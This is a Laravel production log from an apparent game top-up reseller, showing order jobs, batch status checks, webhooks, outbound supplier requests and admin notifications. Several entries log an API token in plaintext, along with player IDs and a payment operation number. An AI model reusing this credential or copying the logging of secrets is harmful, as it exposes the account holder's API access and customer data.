#4 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/Util.php(43): Illuminate\\Container\\BoundMethod::{closure:Illuminate\\Container\\BoundMethod::call():35}()
#5 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/BoundMethod.php(96): Illuminate\\Container\\Util::unwrapIfClosure(Object(Closure))
#6 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/BoundMethod.php(35): Illuminate\\Container\\BoundMethod::callBoundMethod(Object(Illuminate\\Foundation\\Application), Array, Object(Closure))
#7 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/Container.php(799): Illuminate\\Container\\BoundMethod::call(Object(Illuminate\\Foundation\\Application), Array, Array, NULL)
#8 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Bus/Dispatcher.php(129): Illuminate\\Container\\Container->call(Array)
#9 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Bus\\Dispatcher->{closure:Illuminate\\Bus\\Dispatcher::dispatchNow():126}(Object(App\\Jobs\\OrderApiJob))
#10 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}(Object(App\\Jobs\\OrderApiJob))
#11 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Bus/Dispatcher.php(133): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#12 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Queue/CallQueuedHandler.php(134): Illuminate\\Bus\\Dispatcher->dispatchNow(Object(App\\Jobs\\OrderApiJob), false)
#13 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Queue\\CallQueuedHandler->{closure:Illuminate\\Queue\\CallQueuedHandler::dispatchThroughMiddleware():127}(Object(App\\Jobs\\OrderApiJob))
#14 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}(Object(App\\Jobs\\OrderApiJob))
#15 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Queue/CallQueuedHandler.php(127): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#16 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Queue/CallQueuedHandler.php(68): Illuminate\\Queue\\CallQueuedHandler->dispatchThroughMiddleware(Object(Illuminate\\Queue\\Jobs\\RedisJob), Object(App\\Jobs\\OrderApiJob))
#17 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Queue/Jobs/Job.php(102): Illuminate\\Queue\\CallQueuedHandler->call(Object(Illuminate\\Queue\\Jobs\\RedisJob), Array)
#18 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Queue/Worker.php(487): Illuminate\\Queue\\Jobs\\Job->fire()
#19 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Queue/Worker.php(437): Illuminate\\Queue\\Worker->process('redis', Object(Illuminate\\Queue\\Jobs\\RedisJob), Object(Illuminate\\Queue\\WorkerOptions))
#20 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Queue/Worker.php(201): Illuminate\\Queue\\Worker->runJob(Object(Illuminate\\Queue\\Jobs\\RedisJob), 'redis', Object(Illuminate\\Queue\\WorkerOptions))
#21 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Queue/Console/WorkCommand.php(148): Illuminate\\Queue\\Worker->daemon('redis', 'default', Object(Illuminate\\Queue\\WorkerOptions))
#22 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Queue/Console/WorkCommand.php(131): Illuminate\\Queue\\Console\\WorkCommand->runWorker('redis', 'default')
#23 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/BoundMethod.php(36): Illuminate\\Queue\\Console\\WorkCommand->handle()
#24 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/Util.php(43): Illuminate\\Container\\BoundMethod::{closure:Illuminate\\Container\\BoundMethod::call():35}()
#25 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/BoundMethod.php(96): Illuminate\\Container\\Util::unwrapIfClosure(Object(Closure))
#26 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/BoundMethod.php(35): Illuminate\\Container\\BoundMethod::callBoundMethod(Object(Illuminate\\Foundation\\Application), Array, Object(Closure))
#27 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/Container.php(799): Illuminate\\Container\\BoundMethod::call(Object(Illuminate\\Foundation\\Application), Array, Array, NULL)
#28 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Console/Command.php(211): Illuminate\\Container\\Container->call(Array)
#29 /home/talaah/public_html/vendor/symfony/console/Command/Command.php(341): Illuminate\\Console\\Command->execute(Object(Symfony\\Component\\Console\\Input\\ArgvInput), Object(Illuminate\\Console\\OutputStyle))
#30 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Console/Command.php(180): Symfony\\Component\\Console\\Command\\Command->run(Object(Symfony\\Component\\Console\\Input\\ArgvInput), Object(Illuminate\\Console\\OutputStyle))
#31 /home/talaah/public_html/vendor/symfony/console/Application.php(1102): Illuminate\\Console\\Command->run(Object(Symfony\\Component\\Console\\Input\\ArgvInput), Object(Symfony\\Component\\Console\\Output\\ConsoleOutput))
#32 /home/talaah/public_html/vendor/symfony/console/Application.php(356): Symfony\\Component\\Console\\Application->doRunCommand(Object(Illuminate\\Queue\\Console\\WorkCommand), Object(Symfony\\Component\\Console\\Input\\ArgvInput), Object(Symfony\\Component\\Console\\Output\\ConsoleOutput))
#33 /home/talaah/public_html/vendor/symfony/console/Application.php(195): Symfony\\Component\\Console\\Application->doRun(Object(Symfony\\Component\\Console\\Input\\ArgvInput), Object(Symfony\\Component\\Console\\Output\\ConsoleOutput))
#34 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Console/Kernel.php(198): Symfony\\Component\\Console\\Application->run(Object(Symfony\\Component\\Console\\Input\\ArgvInput), Object(Symfony\\Component\\Console\\Output\\ConsoleOutput))
#35 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Application.php(1235): Illuminate\\Foundation\\Console\\Kernel->handle(Object(Symfony\\Component\\Console\\Input\\ArgvInput), Object(Symfony\\Component\\Console\\Output\\ConsoleOutput))
#36 /home/talaah/public_html/artisan(13): Illuminate\\Foundation\\Application->handleCommand(Object(Symfony\\Component\\Console\\Input\\ArgvInput))
#37 {main}","previous_exception":null,"context":{"job_class":"App\\Jobs\\OrderApiJob","timestamp":"2026-03-24 20:16:01","memory_usage":63438848,"memory_peak":63438848}} 
[2026-03-24 20:16:04] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"xFqtRtt5X2H2ATTuP5VVZVSg4A7wTL0E","execution_time":"2026-03-24 20:16:04"} 
[2026-03-24 20:16:04] production.INFO: Found pending operations {"job":"Quryjob","job_id":"xFqtRtt5X2H2ATTuP5VVZVSg4A7wTL0E","execution_time":"2026-03-24 20:16:04","total_operations":7,"sites_count":2} 
[2026-03-24 20:16:04] production.INFO: Processing site batch {"job":"Quryjob","job_id":"xFqtRtt5X2H2ATTuP5VVZVSg4A7wTL0E","execution_time":"2026-03-24 20:16:04","site_id":3,"site_name":"swgamessd","orders_count":3,"order_ids":["ORD-QqPYPfrJ-1774372435","ORD-2qaTs-1774372485","ORD-5zMkuck7-1774372508"]} 
[2026-03-24 20:16:04] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"xFqtRtt5X2H2ATTuP5VVZVSg4A7wTL0E","execution_time":"2026-03-24 20:16:04","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 20:16:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"xFqtRtt5X2H2ATTuP5VVZVSg4A7wTL0E","execution_time":"2026-03-24 20:16:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":3} 
[2026-03-24 20:16:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"xFqtRtt5X2H2ATTuP5VVZVSg4A7wTL0E","execution_time":"2026-03-24 20:16:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-5zMkuck7-1774372508","operation_id":164179} 
[2026-03-24 20:16:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"xFqtRtt5X2H2ATTuP5VVZVSg4A7wTL0E","execution_time":"2026-03-24 20:16:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-QqPYPfrJ-1774372435","operation_id":164175,"processed":2,"skipped":1,"updates_prepared":2} 
[2026-03-24 20:16:04] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"xFqtRtt5X2H2ATTuP5VVZVSg4A7wTL0E","execution_time":"2026-03-24 20:16:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-QqPYPfrJ-1774372435","operation_id":164175,"total_items":2,"chunks":1,"chunk_size":10} 
[2026-03-24 20:16:04] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"xFqtRtt5X2H2ATTuP5VVZVSg4A7wTL0E","execution_time":"2026-03-24 20:16:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-QqPYPfrJ-1774372435","operation_id":164175,"count":2} 
[2026-03-24 20:16:04] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"xFqtRtt5X2H2ATTuP5VVZVSg4A7wTL0E","execution_time":"2026-03-24 20:16:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-QqPYPfrJ-1774372435","operation_id":164175,"count":2} 
[2026-03-24 20:16:04] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"xFqtRtt5X2H2ATTuP5VVZVSg4A7wTL0E","execution_time":"2026-03-24 20:16:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-QqPYPfrJ-1774372435","operation_id":164175,"user_id":59,"notification_type":"order_approved","reference_id":179297} 
[2026-03-24 20:16:04] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"xFqtRtt5X2H2ATTuP5VVZVSg4A7wTL0E","execution_time":"2026-03-24 20:16:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-QqPYPfrJ-1774372435","operation_id":164175,"user_id":59,"notification_type":"order_approved","reference_id":179295} 
[2026-03-24 20:16:04] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"xFqtRtt5X2H2ATTuP5VVZVSg4A7wTL0E","execution_time":"2026-03-24 20:16:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-QqPYPfrJ-1774372435","operation_id":164175,"chunk_number":1,"processed":2,"errors":0,"total_operations":2,"total_orders":2,"total_codes":0,"total_refunds":0} 
[2026-03-24 20:16:04] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"xFqtRtt5X2H2ATTuP5VVZVSg4A7wTL0E","execution_time":"2026-03-24 20:16:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-QqPYPfrJ-1774372435","operation_id":164175,"total_processed":2,"total_errors":0,"chunks_processed":1} 
[2026-03-24 20:16:04] production.INFO: Batch update completed {"job":"Quryjob","job_id":"xFqtRtt5X2H2ATTuP5VVZVSg4A7wTL0E","execution_time":"2026-03-24 20:16:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-QqPYPfrJ-1774372435","operation_id":164175,"processed":2,"errors":0} 
[2026-03-24 20:16:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"xFqtRtt5X2H2ATTuP5VVZVSg4A7wTL0E","execution_time":"2026-03-24 20:16:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-QqPYPfrJ-1774372435","operation_id":164175,"processed":2,"errors":0} 
[2026-03-24 20:16:04] production.INFO: Processing site batch {"job":"Quryjob","job_id":"xFqtRtt5X2H2ATTuP5VVZVSg4A7wTL0E","execution_time":"2026-03-24 20:16:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-QqPYPfrJ-1774372435","operation_id":164175,"orders_count":4,"order_ids":["ORD-qYxb5k-1774372481","ORD-7KUNpe0-1774372489","ORD-TYxH-1774372522","ORD-wGV5-1774372530"]} 
[2026-03-24 20:16:04] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"xFqtRtt5X2H2ATTuP5VVZVSg4A7wTL0E","execution_time":"2026-03-24 20:16:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-QqPYPfrJ-1774372435","operation_id":164175} 
[2026-03-24 20:16:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"xFqtRtt5X2H2ATTuP5VVZVSg4A7wTL0E","execution_time":"2026-03-24 20:16:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-QqPYPfrJ-1774372435","operation_id":164175,"orders_count":4} 
[2026-03-24 20:16:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"xFqtRtt5X2H2ATTuP5VVZVSg4A7wTL0E","execution_time":"2026-03-24 20:16:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wGV5-1774372530","operation_id":164184,"processed":4,"skipped":0,"updates_prepared":4} 
[2026-03-24 20:16:04] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"xFqtRtt5X2H2ATTuP5VVZVSg4A7wTL0E","execution_time":"2026-03-24 20:16:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wGV5-1774372530","operation_id":164184,"total_items":4,"chunks":1,"chunk_size":10} 
[2026-03-24 20:16:04] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"xFqtRtt5X2H2ATTuP5VVZVSg4A7wTL0E","execution_time":"2026-03-24 20:16:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wGV5-1774372530","operation_id":164184,"count":4} 
[2026-03-24 20:16:04] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"xFqtRtt5X2H2ATTuP5VVZVSg4A7wTL0E","execution_time":"2026-03-24 20:16:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wGV5-1774372530","operation_id":164184,"count":4} 
[2026-03-24 20:16:04] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"xFqtRtt5X2H2ATTuP5VVZVSg4A7wTL0E","execution_time":"2026-03-24 20:16:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wGV5-1774372530","operation_id":164184,"user_id":69,"notification_type":"order_approved","reference_id":179298} 
[2026-03-24 20:16:04] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"xFqtRtt5X2H2ATTuP5VVZVSg4A7wTL0E","execution_time":"2026-03-24 20:16:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wGV5-1774372530","operation_id":164184,"user_id":69,"notification_type":"order_approved","reference_id":179296} 
[2026-03-24 20:16:04] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"xFqtRtt5X2H2ATTuP5VVZVSg4A7wTL0E","execution_time":"2026-03-24 20:16:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wGV5-1774372530","operation_id":164184,"user_id":69,"notification_type":"order_approved","reference_id":179301} 
[2026-03-24 20:16:04] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"xFqtRtt5X2H2ATTuP5VVZVSg4A7wTL0E","execution_time":"2026-03-24 20:16:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wGV5-1774372530","operation_id":164184,"user_id":69,"notification_type":"order_approved","reference_id":179304} 
[2026-03-24 20:16:04] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"xFqtRtt5X2H2ATTuP5VVZVSg4A7wTL0E","execution_time":"2026-03-24 20:16:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wGV5-1774372530","operation_id":164184,"chunk_number":1,"processed":4,"errors":0,"total_operations":4,"total_orders":4,"total_codes":0,"total_refunds":0} 
[2026-03-24 20:16:04] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"xFqtRtt5X2H2ATTuP5VVZVSg4A7wTL0E","execution_time":"2026-03-24 20:16:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wGV5-1774372530","operation_id":164184,"total_processed":4,"total_errors":0,"chunks_processed":1} 
[2026-03-24 20:16:04] production.INFO: Batch update completed {"job":"Quryjob","job_id":"xFqtRtt5X2H2ATTuP5VVZVSg4A7wTL0E","execution_time":"2026-03-24 20:16:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wGV5-1774372530","operation_id":164184,"processed":4,"errors":0} 
[2026-03-24 20:16:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"xFqtRtt5X2H2ATTuP5VVZVSg4A7wTL0E","execution_time":"2026-03-24 20:16:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wGV5-1774372530","operation_id":164184,"processed":4,"errors":0} 
[2026-03-24 20:16:04] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"xFqtRtt5X2H2ATTuP5VVZVSg4A7wTL0E","execution_time":"2026-03-24 20:16:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wGV5-1774372530","operation_id":164184} 
[2026-03-24 20:16:04] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 59  
[2026-03-24 20:16:04] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 59  
[2026-03-24 20:16:04] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 69  
[2026-03-24 20:16:04] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 69  
[2026-03-24 20:16:04] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 69  
[2026-03-24 20:16:04] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 69  
[2026-03-24 20:16:17] production.INFO: SendAcceptReject: Notification queued {"user_id":1761,"notification_type":"request_approved","reference_id":18691} 
[2026-03-24 20:16:19] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1761  
[2026-03-24 20:16:24] production.INFO: Constructing job for order: 179306  
[2026-03-24 20:16:25] production.INFO: Handling job for order: 179306  
[2026-03-24 20:16:25] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 20:16:25] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 20:16:25] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=8842ff4d-03c6-4a26-a440-18e12891f2ee&Player_ID=51893428581  
[2026-03-24 20:16:25] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=8842ff4d-03c6-4a26-a440-18e12891f2ee&Player_ID=51893428581","has_body":false} 
[2026-03-24 20:16:26] production.INFO: Operation sent successfully {"operation_id":164185,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-3hf-1774372585","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 20:16:26"}},"processed_data":{"order_number":"ORD-3hf-1774372585","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 20:16:34] production.INFO: SendAcceptReject: Notification queued {"user_id":1158,"notification_type":"request_approved","reference_id":18694} 
[2026-03-24 20:16:35] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1158  
[2026-03-24 20:16:45] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-3hf-1774372585","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 20:16:45] production.INFO: Processed webhook data (normalized) {"id":"ORD-3hf-1774372585","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 20:16:45] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 20:16:45] production.INFO: SendAcceptReject: Notification queued {"user_id":189,"notification_type":"order_approved","reference_id":179306} 
[2026-03-24 20:16:45] production.INFO: Order updated successfully. Order ID: 179306, Status: completed  
[2026-03-24 20:16:45] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-3hf-1774372585","status":"completed","codes_count":0} 
[2026-03-24 20:16:47] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 189  
[2026-03-24 20:16:48] production.INFO: Constructing job for order: 179307  
[2026-03-24 20:16:50] production.INFO: Handling job for order: 179307  
[2026-03-24 20:16:50] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 20:16:50] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 20:16:50] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/96/params?qty=100000&uuid=69fa6858-4ee4-4f5b-a44b-9d3fb028c54a&Player_ID=13442344  
[2026-03-24 20:16:50] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/96/params?qty=100000&uuid=69fa6858-4ee4-4f5b-a44b-9d3fb028c54a&Player_ID=13442344","has_body":false} 
[2026-03-24 20:16:51] production.INFO: Operation sent successfully {"operation_id":164186,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-DgAsZ-1774372610","amount":10.1712500000000005684341886080801486968994140625,"status":"processing","product":"Poppo Amount","game":"PoppoLive","notes":[],"created_at":"2026-03-24 20:16:51"}},"processed_data":{"order_number":"ORD-DgAsZ-1774372610","amount":10.1712500000000005684341886080801486968994140625,"status":"processing","product":"Poppo Amount","game":"PoppoLive"}} 
[2026-03-24 20:16:51] production.INFO: SendAcceptReject: Notification queued {"user_id":1712,"notification_type":"request_approved","reference_id":18695} 
[2026-03-24 20:16:51] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1712  
[2026-03-24 20:17:01] production.INFO: SendAcceptReject: Notification queued {"user_id":290,"notification_type":"request_approved","reference_id":18696} 
[2026-03-24 20:17:02] production.INFO: Constructing job for order: 179308  
[2026-03-24 20:17:03] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 290  
[2026-03-24 20:17:03] production.INFO: Handling job for order: 179308  
[2026-03-24 20:17:03] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 20:17:03] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 20:17:03] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/57/params?qty=1&uuid=3e61aee4-5c46-485b-952e-86f3338bc1af&Player_ID=51316256796  
[2026-03-24 20:17:03] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/57/params?qty=1&uuid=3e61aee4-5c46-485b-952e-86f3338bc1af&Player_ID=51316256796","has_body":false} 
[2026-03-24 20:17:04] production.INFO: Operation sent successfully {"operation_id":164187,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-MuBcF-1774372624","amount":44.36999999999999744204615126363933086395263671875,"status":"processing","product":"3000+850UC","game":"PUBG","notes":[],"created_at":"2026-03-24 20:17:04"}},"processed_data":{"order_number":"ORD-MuBcF-1774372624","amount":44.36999999999999744204615126363933086395263671875,"status":"processing","product":"3000+850UC","game":"PUBG"}} 
[2026-03-24 20:17:07] production.INFO: Constructing job for order: 179309  
[2026-03-24 20:17:10] production.INFO: Handling job for order: 179309  
[2026-03-24 20:17:10] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 20:17:10] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 20:17:10] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=f7d5bc94-0a92-4c8f-b172-ce1a891f3a21&Player_ID=51316256796  
[2026-03-24 20:17:10] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=f7d5bc94-0a92-4c8f-b172-ce1a891f3a21&Player_ID=51316256796","has_body":false} 
[2026-03-24 20:17:11] production.INFO: Operation sent successfully {"operation_id":164188,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-wEWf-1774372630","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG","notes":[],"created_at":"2026-03-24 20:17:11"}},"processed_data":{"order_number":"ORD-wEWf-1774372630","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG"}} 
[2026-03-24 20:17:28] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-wEWf-1774372630","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 20:17:28] production.INFO: Processed webhook data (normalized) {"id":"ORD-wEWf-1774372630","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 20:17:28] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 20:17:28] production.INFO: SendAcceptReject: Notification queued {"user_id":1665,"notification_type":"order_approved","reference_id":179309} 
[2026-03-24 20:17:28] production.INFO: Order updated successfully. Order ID: 179309, Status: completed  
[2026-03-24 20:17:28] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-wEWf-1774372630","status":"completed","codes_count":0} 
[2026-03-24 20:17:29] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1665  
[2026-03-24 20:17:31] production.INFO: Constructing job for order: 179310  
[2026-03-24 20:17:32] production.INFO: Handling job for order: 179310  
[2026-03-24 20:17:32] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 20:17:32] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 20:17:32] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/567/params?qty=7000&uuid=5a19b28a-ba68-441a-8ab0-97ca835f6c51&Player_ID=701305010  
[2026-03-24 20:17:32] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/567/params?qty=7000&uuid=5a19b28a-ba68-441a-8ab0-97ca835f6c51&Player_ID=701305010","has_body":false} 
[2026-03-24 20:17:33] production.INFO: Operation sent successfully {"operation_id":164189,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-0HN-1774372652","amount":5.92111799999999988131094141863286495208740234375,"status":"processing","product":"Soyo Amount","game":"SoyoChat","notes":[],"created_at":"2026-03-24 20:17:33"}},"processed_data":{"order_number":"ORD-0HN-1774372652","amount":5.92111799999999988131094141863286495208740234375,"status":"processing","product":"Soyo Amount","game":"SoyoChat"}} 
[2026-03-24 20:17:33] production.INFO: Creating credit request {"payload":{"method_id":"9","amount":"1115.0","mainamount":"1115","operation_number":"600431067528","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/phpptph6529retibxT8ow7"}},"user_id":528} 
[2026-03-24 20:17:36] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 20:17:36] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 20:17:36] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 20:17:36] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 20:17:36] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 20:17:36] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 20:17:36] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 20:17:36] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 20:17:36] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18697,"user_id":528,"amount":1115.0,"admins_notified":7} 
[2026-03-24 20:17:46] production.INFO: SendAcceptReject: Notification queued {"user_id":1526,"notification_type":"order_approved","reference_id":179294} 
[2026-03-24 20:17:48] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1526  
